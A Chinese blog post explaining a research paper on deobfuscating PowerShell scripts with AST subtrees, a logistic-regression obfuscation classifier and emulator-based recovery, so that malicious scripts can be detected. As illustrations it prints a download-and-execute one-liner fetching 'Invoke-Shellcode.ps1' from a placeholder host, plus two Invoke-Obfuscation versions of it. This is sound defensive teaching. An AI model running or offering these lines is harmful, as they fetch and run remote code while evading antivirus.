论文解读 --- 《针对PowerShell脚本的有效轻量级去混淆和语义感知攻击检测》
开篇
今天我们继续来解读安全行业优秀论文,通过学习他人的智慧成果,可以不断丰富我们的安全视野,使用它山之石来破解自身的难题。
这次要解读的论文为《Effective and Light-Weight Deobfuscation and Semantic-Aware Attack Detection for PowerShell Scripts》,即《针对PowerShell脚本的有效轻量级去混淆和语义感知攻击检测》,作者为浙江大学网络安全博士。其在论文中提出了一个行之有效的对混淆的powershell脚本进行还原的方法,读来非常有启发性,值得写一篇文章来系统地分析下该方案。更重要的是,该还原方案具有通用性,不仅适用于混淆powershell脚本的还原,对其它语言类型的脚本,比如javascript、php、jsp和python等等,也一样适用。
本篇文章我们着重讲解论文中的去混淆方案,至于其中的"语义感知攻击检测"不做过多赘述,感兴趣的同学可以去阅读下论文原文。
代码混淆
事实上,混淆是阻碍反病毒引擎查杀包括Powershell在内的恶意程序的最大元凶,同样对混淆后的代码进行检测也非常有挑战性。因为本篇解读的论文针对的是powershell的混淆样本,所以我们也使用powershell来进行举例。
比如下面是一段典型的从外部网址下载powershell恶意代码并执行的脚本:
Invoke-Expression (New-Object Net.WebClient).DownloadString("https://xxx/Invoke-Shellcode.ps1");
这段代码会首先建立一个Web客户端,然后向指定的url下载脚本文件并执行,是一个典型的恶意行为。这里的恶意特征还是非常明显的,大部分的防病毒引擎都能够识别其中的特征并成功检测:
- Invoke-Expression:动态执行powershell代码的cmdlet;
- Net.WebClient:.net中的网络客户端类;
- .DownloadString():下载方法;
- “Invoke-Shellcode.ps1”:待下载的恶意脚本;
下面我们使用知名的powershell代码混淆工具Invoke-Obfuscation来对这段代码进行混淆,使用Invoke-Obfuscation的TOKEN/ALL混淆方式进行混淆后的结果如下:
&("{1}{2}{3}{0}"-f 'n','Invoke-Expre','s','sio') (.("{0}{1}{2}" -f 'New-','O','bject') ("{2}{3}{1}{0}"-f'lient','C','Ne','t.Web')).("{1}{0}{2}" -f'ownload','D','String').Invoke(("{0}{7}{6}{3}{2}{5}{1}{4}"-f 'https://xxx','e.p','llc','he','s1','od','Invoke-S','/'));.("{1}{0}{3}{4}{2}{5}"-f 'ke-','Invo','i','E','xpress','on') (&("{0}{1}{3}{2}"-f'Ne','w','t','-Objec') ("{3}{1}{2}{0}" -f 'nt','et.WebCli','e','N')).("{1}{0}{2}{3}" -f 'loadStri','Down','n','g').Invoke(("{1}{0}{6}{5}{3}{2}{7}{4}"-f':','https','-Shell','oke','ode.ps1','/xxx/Inv','/','c'));
而使用Invoke-Obfuscation的STRING/3混淆方式混淆后的结果如下:
&((gv '*MDR*').nAmE[3,11,2]-JoIn'')( ( [RegEx]::mAtChEs("XEI | )93]raHC[,)47]raHC[+27]raHC[+701]raHC[( eCalPer- 43]raHC[,)94]raHC[+58]raHC[+221]raHC[( EcaLpERc-)';))'+'JHkcJHk'+',J'+'Hk'+'/JHk,J'+'Hk'+'vn'+'I/xxx/JHk,J'+'Hk1sp.edoJ'+'Hk'+',JH'+'kekoJ'+'H'+'k'+',JH'+'kl'+'lehS-JHk,J'+'Hk'+'sptthJHk,J'+'Hk:JH'+'k'+'f
'+'-'+'1'+'Uz'+'}'+'4{}7{}'+'2'+'{}'+'3{}5{}6{}'+'0{'+'}'+'1'+'{1'+'Uz((e'+'kovn'+'I'+'.'+')JHk'+'gJH'+'k,JHknJHk'+',JHknwoDJH'+'k,JH'+'kirtSdaol'+'JHk f-'+' 1'+'Uz}'+'3{}2{}0{}1'+'{1U'+'z'+'('+'.)'+')J'+'HkNJ'+'Hk,JHke'+'JHk,'+'JHk'+'il'+'C'+'b'+'e'+'W.t'+'eJH'+'k,JHk'+'t'+'nJHk f'+'- 1'+'Uz}'+'0{}'+'2{}1'+'{}'+'3{
1Uz( )JHk'+'c'+'e'+'jbO-JHk,JHkt'+'J'+'Hk,JH'+'k'+'wJ'+'Hk,J'+'Hk'+'e'+'NJHkf'+'-1U'+'z}2{'+'}'+'3{'+'}1'+'{'+'}'+'0'+'{1'+'U'+'z(&( )JH'+'knoJH'+'k,JH'+'k'+'ss'+'er'+'px'+'J'+'Hk,'+'JHkE'+'JH'+'k,JHk'+'iJHk,'+'JHkovnIJ'+'Hk,'+'JHk-ekJHk '+'f'+'-1U'+'z}5'+'{}2'+'{}'+'4'+'{}3'+'{}0{'+'}'+'1{'+'1U'+'z(.;))J'+'H'+'k/JH
k,'+'J'+'HkS-ekovnIJHk'+',J'+'Hkdo'+'JHk,JHk1sJH'+'k,JHkeh'+'JHk,JHk'+'cllJHk,JHkp.eJH'+'k,JHk'+'xx'+'x'+'/'+'/'+':'+'s'+'ptth'+'J'+'Hk '+'f'+'-1'+'U'+'z'+'}4'+'{}1'+'{}'+'5{'+'}2{}3{}6'+'{}7{}0{'+'1'+'Uz('+'('+'e'+'k'+'ovnI.)'+'J'+'H'+'k'+'g'+'nir'+'t'+'SJHk,JH'+'k'+'D'+'JHk,JHkdaol'+'nwo'+'JHkf'+'-'+' 1Uz}'+'2'+'{
'+'}0{}1{1Uz'+'('+'.))'+'J'+'H'+'kbeW.tJ'+'Hk,JHkeN'+'JH'+'k,J'+'HkC'+'JHk,JHktne'+'il'+'JHkf-1Uz'+'}'+'0{'+'}1{}'+'3{}2{1Uz('+' '+')'+'JHk'+'tce'+'j'+'bJHk,JHkOJH'+'k'+',JHk-'+'w'+'eNJHk f'+'- 1'+'Uz}2'+'{}1{}'+'0{1Uz'+'(.('+' )JH'+'koisJ'+'Hk,'+'J'+'Hks'+'J'+'Hk'+',JHkerpx'+'E'+'-ek'+'ovn'+'IJHk,JHk'+'n'+'JHk'+' '
+'f-1Uz'+'}0'+'{}'+'3'+'{}'+'2'+'{}'+'1{1'+'Uz'+'(&'((" ,'.','riGHTto'+'LE'+'FT' )-JoIN'') )
可见混淆后的代码的真实意图已经完全被隐藏,大部分防病毒引擎对这样的混淆后代码也是无能为力的,最多只能检测到这段代码是一段混淆代码,至于代码的真实意图则无法发掘。
这就凸显了混淆代码还原的重要意义,它能够把混淆后的混乱代码还原到最初的形态,或者接近最初形态,然后将还原后的代码再交给检测引擎进行检测,这样就能极大地提高检出率,降低误报率,报告出代码的真实意图。
解混淆方案
传统的解混淆方法基本分为三个阶段:
- 检测阶段:判断脚本是否被混淆过;
- 解混淆阶段:使用动态或静态解混淆;
- 验证阶段:验证解混淆的效果;

这类传统方法存在如下问题:
- 粗粒度的混淆检测:不能处理局部混淆,比如恶意程序只对关键代码部分进行混淆,整体代码仍符合为正常代码的特征。此时,如果将解混淆逻辑应用到整个脚本上去解混淆,导致未混淆代码受到解混淆逻辑的影响,那么最终还原出的代码和原始代码会差异过大,产生漏报或误报;
- 解混淆逻辑需手工:某些时候需要大量手工工作,无法处理未知混淆,鲁棒性较差;
事实上,混淆了的PowerShell脚本在正式运行时必须动态计算出被混淆隐藏的原始脚本部分,以便解释器能够正确地执行它们。以下图的代码为例,这些脚本有两部分:混淆隐藏的原始脚本部分和解混淆还原算法。
更重要的是,这些混淆片段执行后返回的是字符串类型的代码片段。

因此,将这些脚本代码片段称为可还原的片段,以及AST可还原子树中相应的子树。只要找到了这些可还原的代码片段,就可以直接使用代码中自带的还原算法来恢复原始脚本。但是,在实践中,在可还原的代码片段和脚本的其他部分之间没有明确的边界,特别是当脚本在被多层混淆时。
为了解决这个问题,论文中提出了一种基于AST子树的方法,它首先定位可还原的代码片段,然后通过动态执行可还原的代码片段,得到执行结果,即原始代码片段,然后根据原始代码片段来重建原始脚本。
该还原方案的整体流程如下所示:

该方案的核心框架包括五个步骤:
- 提取AST子树;
- 基于子树的混淆检测;
- 基于模拟器的解混淆;
- 更新AST;
- 后处理;
接下来我们一个一个步骤来分析。
提取AST子树
首先,该方案首先会把混淆后的代码编译为AST(抽象语法树),可以使用微软官方程序集System.Management.Automation.dll中的System.Management.Automation.Language.Parser.ParseInput方法来生成指定代码的AST。其它脚本语言也可以找到类似的工具来生成对应的AST。
PowerShell的AST共有71种节点类型,如PipelineAst、CommandAst、CommandExpressionAst等,ParseInput方法返回一个根节点类型为ScriptBlockAst的AST。一个大小为几千字节的脚本生成的AST中可以有数千个节点,意味着有数千个子树,这就使得检查所有子树变得非常耗时。
幸运的是,powershell中只有两种方法可以将还原后的代码片段传递到上层节点,要么直接通过管道,要么间接通过变量。因此,只需要检查这两种类型的子树,根节点为PipelineAst类型的子树或AssignmentStatementAst节点下的第二个子树,因此称这两种类型的子树为可疑的子树。如下图所示,红色块表示PipelineAst节点,蓝色块表示AssignmentStatementAst节点。根据这个论断,需要检查的子树的数量将显著减少,然后以宽度优先的方式遍历AST,将可疑的子树推到堆栈中以便进行后续步骤的操作。


基于子树的混淆检测
对于已经压入栈中的可疑的子树,论文中采取了一个二元分类器来筛选出真正被混淆的子树。作者选取了四类特征来综合判断,包括:
- 脚本片段的熵值
熵表示字符频率的统计特征。有两个会严重影响熵值的流行的混淆技术技术:变量和函数名的随机化,以及编码。熵的计算公式如下:

其中Pi代表第i个字符在所有文本中出现的频率。 - token的长度
几乎所有类型的混淆技术都会改变token的长度。这些技术包括但不限于编码、字符串拆分和字符串重新排序等等,论文中选择token的平均值和最大长度作为特征。 - AST类型的分布
AST解析器生成的AST中包含71种类型的节点,如PipelineAst、ParenExpressionAst、CommandExpressionAst等。在混淆过程中,某些节点类型的节点数量通常会发生变化。例如,字符串重新排序将添加几个ParenExpressionAst节点和StringConstantExpressAst节点到AST。因此,论文计算每个节点类型的节点数,并构造一个71维的向量作为一个特征 - AST的深度
几乎所有的混淆技术对AST的深度和节点总数都有显著的影响。例如,对于基于编码的混淆,无论原始脚本有多少个节点,编码后只剩下大约10个节点,其深度小于6个节点。因此,论文中也使用AST深度和总节点作为特征。
论文中总共从字符级别、token级别和AST级别三个层次中选取了76个特征,并使用逻辑回归与梯度下降算法来执行分类。
基于模拟器的解混淆
在此步骤中,通过powershell相关的几个程序集dll设置一个PowerShell执行会话,该执行会话可以动态执行指定的powershell代码。通过执行在上一步中检测到的混淆片段,如果脚本片段是可恢复的脚本片段,则此过程的返回值为已恢复的脚本片段。如果返回值不是字符串,则意味着上一步的混淆检测结果错误,或者当前的脚本片段不是一个可恢复的片段。
对于这两种情况,都将子树标记为非混淆子树,然后对栈中的下一个混淆子树进行执行。因为是按照自下而上的顺序执行去解混淆,所以总是可以找到一个位于更高级级的可恢复的脚本片段。
更新AST
在从上一步获得执行后的恢复的脚本片段之后,需要将其解析为一个新的AST(恢复后的子树),并更新到原AST。
这个过程有两个主要步骤。首先,需要用恢复后的子树替换原AST上对应的子树。相应地,应该对其所有祖先的特征进行更新,并将恢复后子树中的所有可疑子树推到堆栈中。其次,应该更新脚本片段的更改。具体来说,将可恢复的原始代码片段和恢复后的代码片段块存储在混淆子树的根节点中,然后将更改从底部传递到顶部。最后,当没有了混淆子树时,可以在根节点处获得去混淆脚本。
后处理
脚本解混淆之后后,会得到一个与原始脚本具有相同语义的脚本。但是,在语法方面,这两个脚本之间仍然存在差异。这些差异主要是由混淆过程引起的。
如上所述,通过解混淆过程获得的脚本片段都是字符串。因此,为了帮助解释器理解每个字符串的角色,混淆过程引入了额外的token。例如,在脚本片段 "(‘DownloadFile’).Invoke($url)"中,Invoke函数调用告诉解释器"DownloadFile"应该被视为一个成员方法,而$url是该方法的参数,而混淆会添加额外的圆括号。
在后处理步骤中,这些由混淆过程引入的语法级变化可以用正则表达式定位并相应地去修复。
总结
在混淆样本大行其道的当下,反混淆系统的存在意义非常重大,它一方面可以帮助检测系统更有效的检测恶意样本,同时也能够辅助检测系统给出更符合原始脚本语义的恶意解释。传统的一些反混淆方式大部分都是纯静态还原,通过正则表达式在混淆样本上做一系列的模式匹配,因此适用范围非常有限。
该论文提出的混淆代码的解混淆方案十分新颖和通用,对于基于字符串的混淆方式有非常不错的还原效果,因为采用了基于解释器的动态执行,因此泛化能力很强。同时该方案又具有通用性,可以也应用到其它脚本语言上。
论文链接:https://www.researchgate.net/publication/335927735_Effective_and_Light-Weight_Deobfuscation_and_Semantic-Aware_Attack_Detection_for_PowerShell_Scripts
相关文章:
论文解读 --- 《针对PowerShell脚本的有效轻量级去混淆和语义感知攻击检测》
开篇 今天我们继续来解读安全行业优秀论文,通过学习他人的智慧成果,可以不断丰富我们的安全视野,使用它山之石来破解自身的难题。 这次要解读的论文为《Effective and Light-Weight Deobfuscation and Semantic-Aware Attack Detection for…...
在Spring Boot实战中碰到的拦截器与过滤器是什么?
在Spring Boot实战中,拦截器(Interceptors)和过滤器(Filters)是两个常用的概念,它们用于在应用程序中实现一些通用的逻辑,如日志记录、权限验证、请求参数处理等。虽然它们都可以用于对请求进行…...
数据可视化基础与应用-04-seaborn库人口普查分析--如何做人口年龄层结构金字塔
总结 本系列是数据可视化基础与应用的第04篇seaborn,是seaborn从入门到精通系列第3篇。本系列主要介绍基于seaborn实现数据可视化。 参考 参考:我分享了一个项目给你《seaborn篇人口普查分析–如何做人口年龄层结构金字塔》,快来看看吧 数据集地址 h…...
软考之【系统架构设计师】
系统架构设计师 根据原人事部、原信息产业部文件(国人部发[2003]39号)文件规定,计算机软件资格考试纳入全国专业技术人员职业资格证书制度的统一规划,实行统一大纲、统一试题、统一标准、统一证书的考试办法,每年举行…...
LigaAI x 极狐GitLab,共探 AI 时代研发提效新范式
近日,LigaAI 和极狐GitLab 宣布合作,双方将一起探索 AI 时代的研发效能新范式,提供 AI 赋能的一站式研发效能解决方案,让 AI 成为中国程序员和企业发展的新质生产力。 软件研发是一个涉及人员多、流程多、系统多的复杂工程&#…...
如何看待2023年图灵奖
目录 1.概述 2.计算复杂性理论 3.随机性和伪随机性 4.学术生涯和领导力 1.概述 图灵奖(Turing Award),全称A.M.图灵奖(ACM A.M Turing Award),是由计算机领域的最高学术机构——美国计算机协会…...
《云原生安全攻防》-- 云原生攻防矩阵
在本节课程中,我们将开始学习如何从攻击者的角度思考,一起探讨常见的容器和K8s攻击手法,包含以下两个主要内容: 云原生环境的攻击路径: 了解云原生环境的整体攻击流程。 云原生攻防矩阵: 云原生环境攻击路径的全景视图࿰…...
自然语言处理: 第二十七章LLM训练超参数
前言: LLM微调的超参大致有如下内容,在本文中,我们针对这些参数进行解释 training_arguments TrainingArguments(output_dir"./results",per_device_train_batch_size4,per_device_eval_batch_size4,gradient_accumulation_steps2,optim"adamw_8bi…...
Linux使用C语言实现Socket编程
Socket编程 这一个课程的笔记 相关文章 协议 Socket编程 高并发服务器实现 线程池 网络套接字 socket: (电源)插座(电器上的)插口,插孔,管座 在通信过程中, 套接字是成对存在的, 一个客户端的套接字, 一个…...
Swin Transformer——披着CNN外皮的transformer,解决多尺度序列长问题
题目:Swin Transformer: Hierarchical Vision Transformer using Shifted Windows 《Swin Transformer: Hierarchical Vision Transformer using Shifted Windows》作为2021 ICCV最佳论文,屠榜了各大CV任务,性能优于DeiT、ViT和EfficientNet…...
数据结构排序算法
排序也称排序算法(SortAlgorithm),排序是将一组数据,依指定的顺序进行排列的过程。 分类 内部排序【使用内存】 指将需要处理的所有数据都加载到内部存储器中进行排序插入排序 直接插入排序希尔排序 选择排序 简单选择排序堆排序 交换排序 冒泡排序快速…...
【深度剖析】曾经让人无法理解的事件循环,前端学习路线
先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前阿里P7 深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞…...
Spring 事务失效总结
前言 在使用spring过程中事务是被经常用的,如果不小心或者认识不做,事务可能会失效。下面列举几条 业务代码没有被Spring 容器管理 看下面图片类没有Componet 或者Service 注解。 方法不是public的 Transactional 注解只能用户public上,…...
K8S节点kubectl命令报错x509: certificate signed by unknown authority
K8S节点上执行kubectl get node命令报错证书问题,查看kubelet日志如下 [localhost10 ~]$ journalctl -xeu kubelet --since "2024-04-09" --no-pager 4月 09 00:06:22 10.10.44.23-v7-prod-cams-08 kubelet[2142]: I0409 00:06:22.150535 2142 csi_pl…...
【HTML】制作一个简单的实时字体时钟
目录 前言 HTML部分 CSS部分 JS部分 效果图 总结 前言 无需多言,本文将详细介绍一段HTML代码,具体内容如下: 开始 首先新建文件夹,创建一个文本文档,两个文件夹,其中HTML的文件名改为[index.html]&am…...
servlet的三个重要的类(httpServlet 、httpServletRequst、 httpServletResponse)
一、httpServlet 写一个servlet代码一般都是要继承httpServlet 这个类,然后重写里面的方法 但是它有一个特点,根据之前写的代码,我们发现好像没有写main方法也能正常执行。 原因是:这个代码不是直接运行的,而是放到…...
【软考】设计模式之命令模式
目录 1. 说明2. 应用场景3. 结构图4. 构成5. 优缺点5.1 优点5.2 缺点 6. 适用性7.java示例 1. 说明 1.命令模式(Command Pattern)是一种数据驱动的设计模式。2.属于行为型模式。3.请求以命令的形式被封装在对象中,并传递给调用对象。4.调用对…...
波奇学Linux:ip协议
ip报头是c语言的结构体 报头和有效载荷如何分离? 固定长度四位首部长度 4位版本号就是IPV4 8位服务类型:4位TOS位段和位保留字段 4位TOS分别表示:最小延时,最大吞吐量,最高可靠性,最小成本 给路由器提…...
Efficient Multimodal learning from data-centric perspective
[MLLM-小模型推荐-2024.3.18] Bunny 以数据的眼光看问题 - 知乎近期几天会梳理下多模态小模型相关的论文,做个汇总。为了能够每天更新点啥,先穿插一些小模型算法。等到全部算法都梳理完成后,再发布一篇最终汇总版本的。 3.15 号 BAAI 发布了 …...
ubuntu下交叉编译ffmpeg到目标架构为aarch架构的系统
Ubuntu下FFmpeg的aarch64-linux-gnu架构交叉编译教程 一、前言 有时候真的很想报警的,嵌入式算法部署花了好多时间了,RKNN 1808真是问题不少;甲方那边也是老是提新要求,真是受不了。 由于做目标检测,在C代码中有对视…...
进程地址空间(比特课总结)
一、进程地址空间 1. 环境变量 1 )⽤户级环境变量与系统级环境变量 全局属性:环境变量具有全局属性,会被⼦进程继承。例如当bash启动⼦进程时,环 境变量会⾃动传递给⼦进程。 本地变量限制:本地变量只在当前进程(ba…...
树莓派超全系列教程文档--(62)使用rpicam-app通过网络流式传输视频
使用rpicam-app通过网络流式传输视频 使用 rpicam-app 通过网络流式传输视频UDPTCPRTSPlibavGStreamerRTPlibcamerasrc GStreamer 元素 文章来源: http://raspberry.dns8844.cn/documentation 原文网址 使用 rpicam-app 通过网络流式传输视频 本节介绍来自 rpica…...
前端导出带有合并单元格的列表
// 导出async function exportExcel(fileName "共识调整.xlsx") {// 所有数据const exportData await getAllMainData();// 表头内容let fitstTitleList [];const secondTitleList [];allColumns.value.forEach(column > {if (!column.children) {fitstTitleL…...
《用户共鸣指数(E)驱动品牌大模型种草:如何抢占大模型搜索结果情感高地》
在注意力分散、内容高度同质化的时代,情感连接已成为品牌破圈的关键通道。我们在服务大量品牌客户的过程中发现,消费者对内容的“有感”程度,正日益成为影响品牌传播效率与转化率的核心变量。在生成式AI驱动的内容生成与推荐环境中࿰…...
C++ 求圆面积的程序(Program to find area of a circle)
给定半径r,求圆的面积。圆的面积应精确到小数点后5位。 例子: 输入:r 5 输出:78.53982 解释:由于面积 PI * r * r 3.14159265358979323846 * 5 * 5 78.53982,因为我们只保留小数点后 5 位数字。 输…...
零基础在实践中学习网络安全-皮卡丘靶场(第九期-Unsafe Fileupload模块)(yakit方式)
本期内容并不是很难,相信大家会学的很愉快,当然对于有后端基础的朋友来说,本期内容更加容易了解,当然没有基础的也别担心,本期内容会详细解释有关内容 本期用到的软件:yakit(因为经过之前好多期…...
AI病理诊断七剑下天山,医疗未来触手可及
一、病理诊断困局:刀尖上的医学艺术 1.1 金标准背后的隐痛 病理诊断被誉为"诊断的诊断",医生需通过显微镜观察组织切片,在细胞迷宫中捕捉癌变信号。某省病理质控报告显示,基层医院误诊率达12%-15%,专家会诊…...
七、数据库的完整性
七、数据库的完整性 主要内容 7.1 数据库的完整性概述 7.2 实体完整性 7.3 参照完整性 7.4 用户定义的完整性 7.5 触发器 7.6 SQL Server中数据库完整性的实现 7.7 小结 7.1 数据库的完整性概述 数据库完整性的含义 正确性 指数据的合法性 有效性 指数据是否属于所定…...
基于PHP的连锁酒店管理系统
有需要请加文章底部Q哦 可远程调试 基于PHP的连锁酒店管理系统 一 介绍 连锁酒店管理系统基于原生PHP开发,数据库mysql,前端bootstrap。系统角色分为用户和管理员。 技术栈 phpmysqlbootstrapphpstudyvscode 二 功能 用户 1 注册/登录/注销 2 个人中…...
在 Spring Boot 项目里,MYSQL中json类型字段使用
前言: 因为程序特殊需求导致,需要mysql数据库存储json类型数据,因此记录一下使用流程 1.java实体中新增字段 private List<User> users 2.增加mybatis-plus注解 TableField(typeHandler FastjsonTypeHandler.class) private Lis…...
